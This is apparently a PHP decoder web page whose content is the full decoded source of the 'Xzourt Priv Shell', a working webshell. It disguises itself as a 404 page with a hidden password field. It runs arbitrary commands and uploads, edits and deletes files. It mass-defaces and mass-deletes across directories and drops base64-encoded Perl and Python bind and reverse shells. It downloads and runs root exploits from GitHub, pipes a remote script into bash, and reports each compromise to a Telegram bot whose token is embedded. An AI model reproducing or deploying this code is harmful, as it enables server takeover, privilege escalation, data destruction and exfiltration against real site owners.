Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

goto xIYwS; heAIF: @ini_set("\144\151\x73\160\154\141\171\x5f\x65\162\162\x6f\162\163"..

Decoded Output download

<?   
 
goto xIYwS; heAIF: @ini_set("display_errors", 0); goto qLV0I; JpEYZ: $disfunc = @ini_get("disable_functions"); goto gUvZY; sYXiW: if (isset($_7["filenew"])) { s(); if (isset($_7["bikin"])) { $name = $_7["name_file"]; $contents_file = $_7["contents_file"]; foreach ($name as $name_file) { $handle = @fopen("{$name_file}", "w"); if ($contents_file) { $create = @fwrite($handle, $contents_file); } else { $create = $handle; } } if ($create) { echo "<script>window.location='?path={$path}'</script>"; } else { echo "<strong>Create file</strong> fail! " . er() . "</div>"; } } echo "\xa\x9	<div class='mb-3'>
	\x9	<form method='POST'>\xa	\x9\x9	<i class='bi bi-file-earmark'></i> Filename:\xa	\x9\x9	<input class='form-control form-control-sm' type='text' name='name_file[]' placeholder='filename' {$_r}>\xa	\x9\x9\x9<i class='bi bi-file-earmark'></i> Your script:
\x9	\x9\x9<textarea class='form-control form-control-sm' name='contents_file' rows='7' placeholder='your script' {$_r}></textarea>
				<div class='d-grid gap-2'>
\x9\x9\x9\x9\x9<input class='btn btn-outline-light btn-sm' type='submit' name='bikin' value='create'>
		\x9	</div>
\x9\x9	</form>
		</div>"; } goto cBTCn; EI0T7: if (isset($_7["r_f"])) { $old = $file; $new = $_7["new_name"]; rename($new, $old); if (file_exists($new)) { echo "<div class="alert alert-warning alert-dismissible fade show my-3" role="alert">\xa\x9		<strong>Rename file</strong> name already in use! <button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>\xa	\x9</div>"; } else { if (rename($old, $new)) { echo "<strong>Rename file</strong> ok! " . ok() . "</div>"; } else { echo "<strong>Rename file</strong> fail! " . er() . "</div>"; } } } goto wpPmE; a2ryI: if ($telegram == "on") { $send = array("chat_id" => $chatId, "text" => $xtx); $web_telegram = "https://api.telegram.org/{$botUrl}"; $ch = curl_init($web_telegram . "/sendMessage"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $send); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); $result = curl_exec($ch); curl_close($ch); } goto U8rFL; PjodP: $chatId = "1612424585"; goto XPEKY; i4QHr: $pl = exe("perl --help") ? "<gr>ON</gr>" : "<rd>OFF</rd>"; goto McQhW; dVZti: function Login() { ?> 
<html><head><body><title>404 Not Found</title><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><style>input{margin:0;background-color:#fff;border:1px solid #fff}</style><pre align="center"><form method="post"><input name="p"type="password"></form></pre></body></html><?php  die; } goto mpJld; lZheg: if ($_7["action"] == "rename_folder") { if ($_7["r_d"]) { $r_d = rename($dir, '' . dirname($dir) . "/" . htmlspecialchars($_7["r_d"]) . ''); if ($r_d) { echo "<strong>Rename folder</strong> ok! " . ok() . "<a class="btn-close" href="?path=" . dirname($dir) . ""></a></div>"; } else { echo "<strong>Rename folder</strong> fail! " . er() . "<a class="btn-close" href="?path=" . dirname($dir) . ""></a></div>"; } } s(); echo "\xa\x9	<div class='btn-group'>\xa\x9\x9	<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=rename_folder'><i class='bi bi-pencil-fill'></i></a>
	\x9	<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=delete_folder'><i class='bi bi-trash-fill'></i></a>\xa\x9	</div>\xa\x9\x9<br>\xa	\x9\x9<i class='bi bi-folder-fill'></i>:&nbsp;" . basename($dir) . "\xa		</br>
\x9	<form method='POST'>
\x9\x9\x9<div class='input-group'>\xa		\x9\x9<input class='form-control btn-sm' type='text' value='" . basename($dir) . "' name='r_d' {$_r}>
		\x9\x9<button class='btn btn-outline-light btn-sm' type='submit'><i class='bi bi-arrow-return-right'></i></button>\xa\x9	\x9</div>\xa\x9	</form>"; } goto EI0T7; N3tWO: $paths = explode("/", $path); goto jZCJP; xc3qc: echo "\xa<html>
	<head>\xa\x9	<meta charset='UTF-8'>\xa	\x9<meta name='author' content='UnknownSec'>\xa	\x9<meta name='viewport' content='width=device-width, initial-scale=0.70'>
\x9\x9<link rel='stylesheet' href='//xnxx.co.ws/meki.css'>
	\x9<link rel='icon' href='//xnxx.co.ws/anya.jpg'>
\x9\x9<title>{ Xzourt Priv Shell }</title>\xa\x9\x9<script src='//cdnjs.cloudflare.com/ajax/libs/prism/1.6.0/prism.js'></script>
\x9	<script src='//cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js'></script>\xa\x9	<script src='//code.jquery.com/jquery-3.3.1.slim.min.js'></script>\xa\x9</head>
<body class='bg-secondary text-light'>
<div class='container-fluid'>
	<div class='py-3' id='main'>
	\x9<div class='box shadow bg-dark p-4 rounded-3'>
\x9	\x9<a class='text-decoration-none text-light anu' href='" . $_SERVER["PHP_SELF"] . "'><h4>404 Priv Shell</h4></a>"; goto Hzffk; XPEKY: $botUrl = "bot5826555844:AAHn6k0eF4OADoMj1Jx1WAGAtT9XlDeLsDE"; goto OcHn3; wB9pF: if ($_7["action"] == "edit") { s(); echo "
\x9\x9<div class='btn-group'>
	\x9\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=view&opn={$file}'><i class='bi bi-eye-fill'></i></a>\xa\x9\x9	<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=edit&opn={$file}'><i class='bi bi-pencil-square'></i></a>\xa			<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=rename&opn={$file}'><i class='bi bi-pencil-fill'></i></a>\xa\x9\x9\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=delete_file&opn={$file}'><i class='bi bi-trash-fill'></i></a>\xa	\x9\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=download&opn={$file}'><i class='bi bi-download'></i></a>
\x9\x9</div>
\x9	<br>
\x9\x9\x9<i class='bi bi-file-earmark'></i>:&nbsp;" . basename($file) . "
	\x9</br>\xa\x9\x9<form method='POST'>\xa		\x9<textarea class='form-control btn-sm' rows='10' name='contents' {$_r}>" . htmlspecialchars(file_get_contents($file)) . "</textarea>\xa	\x9\x9<div class='d-grid gap-2'>
				<button class='btn btn-outline-light btn-sm' type='sumbit' name='edit_file'><i class='bi bi-arrow-return-right'></i></button>\xa\x9	\x9</div>
		</form>"; } goto lZheg; Lw2_l: set_time_limit(0); goto avrpj; l_7Kw: $dir = str_replace("\", "/", $dir); goto UtA_L; gczsm: @ini_set("output_buffering", 0); goto heAIF; YMRzT: function exe_root($set, $sad) { $x = "preg_match"; $xx = "2>&1"; if (!$x("/" . $xx . "/i", $set)) { $set = $set . " " . $xx; } $a = "function_exists"; $b = "proc_open"; $c = "htmlspecialchars"; $d = "stream_get_contents"; if ($a($b)) { $ps = $b($set, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pink, $sad); return $d($pink[1]); } else { return "proc_open function is disabled !"; } } goto RkY6o; BZcMI: $gcw = "getcwd"; goto idnUM; o8bBX: if (isset($_GET["dir"]) && $_GET["id"] == "scan_root") { ob_implicit_flush(); ob_end_flush(); s(); echo "\xa\x9\x9	<div class='text-center'>
\x9\x9\x9\x9<div class='btn-group mb-3'>\xa\x9				<a class='btn btn-outline-light btn-sm' href='" . $_SERVER["REQUEST_URI"] . "&id_two=autoscan'><i class='bi bi-bug'></i> Auto scan</a>\xa\x9	\x9\x9	<a class='btn btn-outline-light btn-sm' href='" . $_SERVER["REQUEST_URI"] . "&id_two=scansd'><i class='bi bi-search'></i> Scan SUID</a>
\x9		\x9	<a class='btn btn-outline-light btn-sm' href='" . $_SERVER["REQUEST_URI"] . "&id_two=esg'><i class='bi bi-search'></i> Exploit suggester</a>
\x9\x9		</div>\xa		\x9</div>"; if (!function_exists("proc_open")) { echo "<center class='anu'>Command is Disabled !</center>"; } if (!is_writable($path)) { echo "<center class='anu'>Current Directory is Unwriteable !</center>"; } if (isset($_GET["id_two"]) && $_GET["id_two"] == "autoscan") { if (!file_exists($path . "/rooting/")) { mkdir($path . "/rooting"); exe_root("wget https://raw.githubusercontent.com/hekerprotzy/rootshell/main/auto.tar.gz", $path . "/rooting"); exe_root("tar -xf auto.tar.gz", $path . "/rooting"); if (!file_exists($path . "/rooting/netfilter")) { die("<center class='anu'>Failed to Download Material !</center>"); } } echo "
\x9\x9\x9	<div class="container-fluid language-javascript">\xa		\x9		<div class="shell mb-3">
	\x9\x9	\x9	<pre style="font-size:10px;"><code>Netfilter : " . exe_root("timeout 10 ./rooting/netfilter", $path) . "Ptrace : " . exe_root("echo id | timeout 10 ./rooting/ptrace", $path) . "Sequoia : " . exe_root("timeout 10 ./rooting/sequoia", $path) . "OverlayFS : " . exe_root("echo id | timeout 10 ./overlayfs", $path . "/rooting") . "Dirtypipe : " . exe_root("echo id | timeout 10 ./rooting/dirtypipe /usr/bin/su", $path) . "Sudo : " . exe_root("echo 12345 | timeout 10 sudoedit -s Y", $path) . "Pwnkit : " . exe_root("echo id | timeout 10 ./pwnkit", $path . "/rooting") . '' . exe_root("rm -rf rooting", $path) . "</code></pre>\xa\x9	\x9\x9\x9</div>\xa	\x9\x9\x9</div>"; } elseif (isset($_GET["id_two"]) && $_GET["id_two"] == "scansd") { echo "<center class="anu">[+] Scanning ...</center>"; echo "
	\x9\x9\x9<div class="container-fluid language-javascript">
\x9	\x9\x9	<div class="shell mb-3">
\x9\x9\x9\x9	\x9<pre style="font-size:10px;"><code>" . exe_root("find / -perm -u=s -type f 2>/dev/null", $path) . "</code></pre>
\x9	\x9\x9	</div>\xa	\x9	\x9</div>"; } elseif (isset($_GET["id_two"]) && $_GET["id_two"] == "esg") { echo "<center class="anu">[+] Loading ...</center>"; echo "\xa\x9\x9\x9	<div class="container-fluid language-javascript">
\x9	\x9	\x9<div class="shell mb-3">
			\x9		<pre style="font-size:10px;"><code>" . exe_root("curl -Lsk http://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh | bash", $path) . "</code></pre>\xa	\x9			</div>\xa\x9\x9		</div>"; } } goto E1CyH; cmezN: mail($to, "XZOURT WEBSHELL COMPANY", $pesan_alert, "[ " . php_uname() . " ]"); goto wULVu; ItSPn: error_reporting(0); goto GGQ1Y; Ao2uT: @ini_set("log_errors", 0); goto mVBqX; Hzffk: if (isset($_7["path"])) { $path = $_7["path"]; chdir($path); } else { $path = $gcw(); } goto KYKN5; UPxMA: function sz($byt) { $typ = array("B", "KB", "MB", "GB", "TB"); for ($i = 0; $byt >= 1024 && $i < count($typ) - 1; $byt /= 1024, $i++) { } return round($byt, 2) . " " . $typ[$i]; } goto ajmYY; d03Rs: function s() { echo "<style>table{display:none;}</style><div class="table-responsive"><hr></div>"; } goto o8GGc; KHzp9: if (isset($_7["edit_file"])) { $updt = fopen("{$file}", "w"); $result = fwrite($updt, $_7["contents"]); if ($result) { echo "<strong>Edit file</strong> ok! " . ok() . "</div>"; } else { echo "<strong>Edit file</strong> fail! " . er() . "</div>"; } } goto wB9pF; laih7: $scand = scandir($path); goto skUzm; o8GGc: function ok() { echo "<div class="alert alert-success alert-dismissible fade show my-3" role="alert"><button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>"; } goto PUide; fEjCS: $data = "< < \xf0\235\x90\221\xf0\235\x90\x84\360\x9d\x90\x92\360\235\x90\x94\xf0\235\x90\213\xf0\x9d\220\223 \360\x9d\220\x96\360\235\220\x84\360\235\x90\x81\360\235\x90\x92\360\x9d\x90\x87\360\x9d\220\204\360\235\x90\213\xf0\x9d\x90\213 > >\360\237\x94\220
\xaAkses: {$x_path} \xa"; goto H2vUy; Aif8H: @ini_set("output_buffering", 0); goto f20ej; jZCJP: foreach ($paths as $id => $pat) { if ($pat == '' && $id == 0) { $a = true; echo "<i class='bi bi-hdd-rack'></i>:<a class='text-decoration-none text-light' href='?path=/'>/</a>"; continue; } if ($pat == '') { continue; } echo "<a class='text-decoration-none' href='?path="; for ($i = 0; $i <= $id; $i++) { echo "{$paths[$i]}"; if ($i != $id) { echo "/"; } } echo "'>" . $pat . "</a>/"; } goto laih7; uJh3k: function exe($cmd) { if (function_exists("system")) { @ob_start(); @system($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("exec")) { @exec($cmd, $results); $buff = ''; foreach ($results as $result) { $buff .= $result; } return $buff; } elseif (function_exists("passthru")) { @ob_start(); @passthru($cmd); $buff = @ob_get_contents(); @ob_end_clean(); return $buff; } elseif (function_exists("shell_exec")) { $buff = @shell_exec($cmd); return $buff; } } goto YMRzT; VVBQf: set_time_limit(0); goto ItSPn; cBTCn: if (isset($_7["dirnew"])) { s(); if (isset($_7["create"])) { $name = $_7["name_dir"]; foreach ($name as $name_dir) { $folder = preg_replace("([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", '', $name_dir); $fd = @mkdir($folder); } if ($fd) { echo "<script>window.location='?path={$path}'</script>"; } else { echo "<strong>Create dir</strong> fail! " . er() . "</div>"; } } echo "
		<div class='mb-3'>\xa	\x9	<form method='POST'>\xa		\x9\x9<i class='bi bi-folder'></i> Name directory:\xa		\x9\x9<div class='input-group mb-3'>
\x9\x9\x9	\x9<input class='form-control form-control-sm' type='text' name='name_dir[]' placeholder='Dir name' {$_r}>
		\x9\x9	<input class='btn btn-outline-light btn-sm' type='submit' name='create' value='create dir'>
\x9			</div>
\x9		</form>
\x9	</div>"; } goto jK5Gg; LAdCu: $curl = function_exists("curl_version") ? "<gr>ON</gr>" : "<rd>OFF</rd>"; goto taJBV; E1CyH: if (isset($_7["opn"])) { $file = $_7["opn"]; } goto wciV1; KYKN5: $path = str_replace("\", "/", $path); goto N3tWO; UtA_L: $scdir = explode("/", $dir); goto tFC8Q; mpJld: if (!isset($_SESSION[base64_encode($_SERVER["HTTP_HOST"])])) { if (empty($inipass) || isset($_7["p"]) && base64_encode($_7["p"]) == $inipass) { $_SESSION[base64_encode($_SERVER["HTTP_HOST"])] = true; } else { Login(); } } goto XzF7p; binbg: $_7 = array_merge($_POST, $_GET); goto vbV3q; tFC8Q: for ($i = 0; $i <= $c_dir; $i++) { $scdir[$i]; if ($i != $c_dir) { } if ($_7["id"] == "deface") { function mass_all($dir, $namefile, $contents_sc) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}/{$dirb}"; $ = $dirc . "/" . $namefile; if ($dirb === ".") { file_put_contents($, $contents_sc); } elseif ($dirb === "..") { file_put_contents($, $contents_sc); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;{$}<br>"; file_put_contents($, $contents_sc); $ = mass_all($dirc, $namefile, $contents_sc); } } } } } } function mass_onedir($dir, $namefile, $contents_sc) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}/{$dirb}"; $ = $dirc . "/" . $namefile; if ($dirb === ".") { file_put_contents($, $contents_sc); } elseif ($dirb === "..") { file_put_contents($, $contents_sc); } else { if (is_dir($dirc)) { if (is_writable($dirc)) { echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;{$dirb}/{$namefile}<br>"; file_put_contents($, $contents_sc); } } } } } } if ($_7["start"]) { if ($_7["tipe"] == "mass") { mass_all($_7["d_dir"], $_7["d_file"], $_7["script"]); } elseif ($_7["tipe"] == "onedir") { mass_onedir($_7["d_dir"], $_7["d_file"], $_7["script"]); } } s(); echo "
	\x9<div class='card card-body text-dark input-group mb-3'>\xa\x9		<form method='POST'> Tipe:\xa\x9	\x9<div class='form-check'>\xa\x9\x9\x9\x9<input class='form-check-input' type='checkbox' value='onedir' name='tipe' id='flexCheckDefault' checked>\xa	\x9		<label class='form-check-label' for='flexCheckDefault'>One dir</label>\xa	\x9\x9</div>
	\x9	<div class='form-check'>\xa	\x9\x9	<input class='form-check-input' type='checkbox' value='mass' name='tipe' id='flexCheckDefault'>
				<label class='form-check-label' for='flexCheckDefault'>All directory</label>
\x9	\x9</div>\xa	\x9		<i class='bi bi-folder'></i> Directory:\xa				<input class='form-control btn-sm' type='text' name='d_dir' value='{$dir}'>\xa	\x9\x9\x9<i class='bi bi-file-earmark'></i> Filename:
	\x9	\x9<input class='form-control btn-sm' type='text' name='d_file' placeholder='filename'>\xa\x9\x9\x9	<i class='bi bi-file-earmark'></i> Your script:\xa			\x9<textarea class='form-control btn-sm' rows='7' name='script' placeholder='your script'></textarea>
	\x9	\x9<div class='d-grid gap-2'>\xa	\x9			<input class='btn btn-dark btn-sm' type='submit' name='start' value='deface'>
	\x9\x9	</div>
	\x9	</form>\xa\x9	</div>"; } if ($_7["id"] == "delete") { function mass_delete($dir, $namefile) { if (is_writable($dir)) { $dira = scandir($dir); foreach ($dira as $dirb) { $dirc = "{$dir}/{$dirb}"; $ = $dirc . "/" . $namefile; if ($dirb === ".") { if (file_exists("{$dir}/{$namefile}")) { unlink("{$dir}/{$namefile}"); } } elseif ($dirb === "..") { if (file_exists('' . dirname($dir) . "/{$namefile}")) { unlink('' . dirname($dir) . "/{$namefile}"); } } else { if (is_dir($dirc)) { if (is_writable($dirc)) { if (file_exists($)) { echo "[<gr><i class='bi bi-check-all'></i></gr>]&nbsp;{$}<br>"; unlink($); $ = mass_delete($dirc, $namefile); } } } } } } } if ($_7["start"]) { mass_delete($_7["d_dir"], $_7["d_file"]); } s(); echo "
	\x9<div class='card card-body text-dark input-group mb-3'>\xa\x9	\x9<form method='POST'>\xa	\x9\x9\x9<i class='bi bi-folder'></i> Directory:
\x9\x9\x9\x9<input class='form-control btn-sm' type='text' name='d_dir' value='{$dir}' {$_r}>\xa		\x9		<i class='bi bi-file-earmark'></i> Filename:
\x9	\x9	<div class='input-group'>
\x9				<input class='form-control btn-sm' type='text' name='d_file' placeholder='filename' {$_r}><br>
				\x9<div class='input-group-append'>
			\x9		<input class='btn btn-dark btn-sm' type='submit' name='start' value='delete'>
\x9\x9\x9\x9	</div>
\x9\x9\x9\x9</div>\xa\x9	\x9</form>\xa\x9	</div>"; } if ($_7["id"] == "phpinfo") { @ob_start(); @eval("phpinfo();"); $buff = @ob_get_contents(); @ob_end_clean(); $front = strpos($buff, "<body>") + 6; $end = strpos($buff, "</body>"); echo "<pre class='php_info'>" . substr($buff, $front, $front - $front) . "</pre>"; die; } if ($_7["id"] == "network") { s(); echo "
\x9	<div class='card text-dark'>
	\x9\x9<div class='card-header'>
				<form method='post'>
\x9\x9	\x9	<u>Bind port to /bin/sh [Perl]</u><br>
		\x9\x9\x9<u>Port :</u>
\x9	\x9	<div class='input-group'>
\x9				<input class='form-control btn-sm' type='text' name='port' placeholder='6969'>
\x9	\x9	\x9<input class='btn btn-dark btn-sm' type='submit' name='bpl' value='submit'>\xa\x9			</div>
	\x9\x9<h5>Back-Connect</h5>\xa	\x9\x9<u>Server :</u>
		\x9\x9<input class='form-control btn-sm' type='text' name='server' placeholder='" . $_SERVER["REMOTE_ADDR"] . "'>\xa\x9	\x9<u>Port :</u>\xa\x9\x9\x9<div class='input-group'>
\x9\x9		<input class='form-control btn-sm' type='text' name='port' placeholder='6969'>
	\x9	\x9<select class='form-control btn-sm' name='bc'>\xa\x9\x9\x9		<option value='perl'>perl</option>
\x9\x9\x9\x9	<option value='python'>python</option>
\x9\x9	\x9</select>
	\x9\x9</div>\xa\x9		<div class='d-grid gap-2'>
\x9\x9\x9\x9<input class='btn btn-dark btn-sm btn-block' type='submit' value='submit'>\xa\x9		</div>\xa\x9\x9</form>"; if ($_7["bpl"]) { $bp = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0="); $brt = @fopen("bp.pl", "w"); fwrite($brt, $bp); $out = exe("perl bp.pl " . $_7["port"] . " 1>/dev/null 2>&1 &"); sleep(1); echo "<pre>{$out}\xa" . exe("ps aux | grep bp.pl") . "</pre>"; unlink("bp.pl"); } if ($_7["bc"] == "perl") { $bc = base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7"); $plbc = @fopen("bc.pl", "w"); fwrite($plbc, $bc); $out = exe("perl bc.pl " . $_7["server"] . " " . $_7["port"] . " 1>/dev/null 2>&1 &"); sleep(1); echo "<pre>{$out}
" . exe("ps aux | grep bc.pl") . "</pre>"; unlink("bc.pl"); } if ($_7["bc"] == "python") { $bc_py = base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBNci54QmFyYWt1ZGFcblRoYW5rcyBHb29nbGUgRm9yIFJlZmVyZW5zaVxuXG4nJycpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMCkNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwxKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDIpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMykNCiAgICBzaGVsbCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCItaSJdKQ0KICBleGNlcHQgc29ja2V0LnRpbWVvdXQ6DQogICAgcHJpbnQgIlRpbU91dCINCiAgZXhjZXB0IHNvY2tldC5lcnJvciwgZToNCiAgICBwcmludCAiRXJyb3IiLCBlDQpweWJhY2tjb25uZWN0KCk="); $pbc_py = @fopen("bcpy.py", "w"); fwrite($pbc_py, $bc_py); $out_py = exe("python bcpy.py " . $_7["server"] . " " . $_7["port"]); sleep(1); echo "<pre>{$out_py}\xa" . exe("ps aux | grep bcpy.py") . "</pre>"; unlink("bcpy.py"); } echo "</div>\xa\x9		</div>\xa	\x9<br/>"; } if ($_7["id"] == "cmd") { s(); if (!empty($_POST["cmd"])) { $cmd = shell_exec($_POST["cmd"] . " 2>&1"); } echo "\xa\x9	<div class='mb-3'>\xa\x9\x9	<form method='POST'>
		\x9	<div class='input-group mb-3'>\xa			\x9	<input class='form-control btn-sm' type='text' name='cmd' value='" . htmlspecialchars($_POST["cmd"], ENT_QUOTES, "UTF-8") . "' placeholder='whoami' {$_r}>\xa					<button class='btn btn-outline-light btn-sm' type='sumbit'><i class='bi bi-arrow-return-right'></i></button>\xa\x9		\x9</div>
\x9		</form>"; if ($cmd) { echo "\xa\x9\x9\x9<div class="container-fluid language-javascript">
				<div class="shell mb-3">
\x9\x9	\x9	<pre style="font-size:10px;"><gr>~</gr>$&nbsp;<rd>" . htmlspecialchars($_POST["cmd"]) . "</rd><br><code>" . htmlspecialchars($cmd, ENT_QUOTES, "UTF-8") . "</code></pre>\xa\x9	\x9	</div>
\x9		</div>"; } elseif (!$cmd && $_SERVER["REQUEST_METHOD"] == "POST") { echo "\xa\x9\x9\x9<div class="container-fluid language-javascript">\xa	\x9\x9\x9<div class="shell mb-3">\xa	\x9		\x9<pre style="font-size:10px;"><code>No result</code></pre>
\x9	\x9\x9</div>\xa\x9\x9\x9</div>
\x9	</div>"; } } if ($_7["id"] == "upload") { s(); if (isset($_7["upl"])) { $result = count($_FILES["file"]["name"]); for ($contents = 0; $contents < $result; $contents++) { $namefile = $_FILES["file"]["name"][$contents]; $up = @copy($_FILES["file"]["tmp_name"][$contents], "{$path}/" . $namefile); } if ($result < 2) { if ($up) { echo "<strong>Upload</strong> {$namefile} ok! " . ok() . "</div>"; } else { echo "<strong>Upload</strong> fail! " . er() . "</div>"; } } else { echo "<strong>Upload</strong> {$result} ok! " . ok() . "</div>"; } } echo "\xa\x9	<div class='card card-body text-dark input-group mb-3'>\xa		<u>Multiple upload</u>\xa\x9	\x9<form method='POST' enctype='multipart/form-data'>\xa\x9\x9\x9	<div class='input-group'>
\x9	\x9\x9	<input class='form-control form-control-sm' type='file' name='file[]' multiple='' {$_r}>
\x9\x9		\x9<input class='btn btn-dark btn-sm' type='submit' name='upl' value='upload'>\xa\x9	\x9\x9</div>
	\x9	</form>
	\x9</div>"; } } goto o8bBX; n4wge: foreach ($scand as $file) { $ft = date("Y-m-d G:i", filemtime("{$path}/{$file}")); if (function_exists("posix_getpwuid")) { $fowner = @posix_getpwuid(fileowner("{$path}/{$file}")); $fowner = $fowner["name"]; } else { $fowner = fileowner("{$path}/{$file}"); } if (function_exists("posix_getgrgid")) { $fgrp = @posix_getgrgid(filegroup("{$path}/{$file}")); $fgrp = $fgrp["name"]; } else { $fgrp = filegroup("{$path}/{$file}"); } if (!is_file($path . "/" . $file)) { continue; } if (strlen($file) > 25) { $_f = substr($file, 0, 25) . "...-." . $ext; } else { $_f = $file; } echo "\xa	\x9<tr>
	\x9<td><i class='bi bi-file-earmark-text-fill'></i><a class='text-decoration-none text-secondary' href='?dir={$path}&action=view&opn={$file}'>{$_f}</a></td>
\x9\x9\x9<td class='text-center'>file</td>
\x9\x9\x9<td class='text-center'>{$ft}</td>\xa			<td class='text-center'>" . sz(filesize($file)) . "</td>\xa\x9\x9	<td class='text-center'>{$fowner}<gr>/</gr>{$fgrp}</td>
\x9\x9	<td class='text-center'>"; if (is_writable($path . "/" . $file)) { echo "<gr>"; } elseif (!is_readable($path . "/" . $file)) { echo "<rd>"; } echo p($path . "/" . $file); if (is_writable($path . "/" . $file) || !is_readable($path . "/" . $file)) { echo "</gr></rd></td>"; } echo "
	\x9	<td class='text-center'>
	\x9	<div class='btn-group'>\xa	\x9\x9	<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=view&opn={$path}/{$file}'><i class='bi bi-eye-fill'></i></a>
				<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=edit&opn={$path}/{$file}'><i class='bi bi-pencil-square'></i></a>
				<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=rename&opn={$path}/{$file}'><i class='bi bi-pencil-fill'></i></a>
\x9\x9	\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=delete_file&opn={$path}/{$file}'><i class='bi bi-trash-fill'></i></a>
			\x9<a class='btn btn-outline-light btn-sm' href='?dir={$path}&action=download&opn={$path}/{$file}'><i class='bi bi-download'></i></a>\xa\x9	\x9</div>
		\x9</td>
		</tr>"; } goto Aif8H; qLV0I: date_default_timezone_set("Asia/Jakarta"); goto binbg; skUzm: echo "&nbsp;[ " . w($path, p($path)) . " ]"; goto octvi; jK5Gg: echo "\xa\x9\x9<div class="table-responsive">\xa\x9	<table class="table table-hover table-dark text-light">
		<thead>
\x9\x9<tr>
	\x9\x9<td class="text-center">name</td>
